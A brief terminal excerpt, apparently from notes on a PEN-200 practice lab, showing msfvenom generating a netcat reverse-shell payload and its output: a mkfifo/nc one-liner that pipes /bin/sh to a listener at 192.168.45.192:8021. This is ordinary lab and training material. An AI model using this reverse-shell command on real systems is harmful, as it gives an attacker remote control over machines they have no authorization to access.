msfvenom
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/clue]
└─$ msfvenom -p cmd/unix/reverse_netcat LHOST=$tun0 LPORT=8021 -b "\x00" -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No badchars present in payload, skipping automatic encoding
No encoder specified, outputting raw payload
Payload size: 96 bytes
mkfifo /tmp/ypzdi; nc 192.168.45.192 8021 0</tmp/ypzdi | /bin/sh >/tmp/ypzdi 2>&1; rm /tmp/ypzdi
msfvenom generated a reverse shell command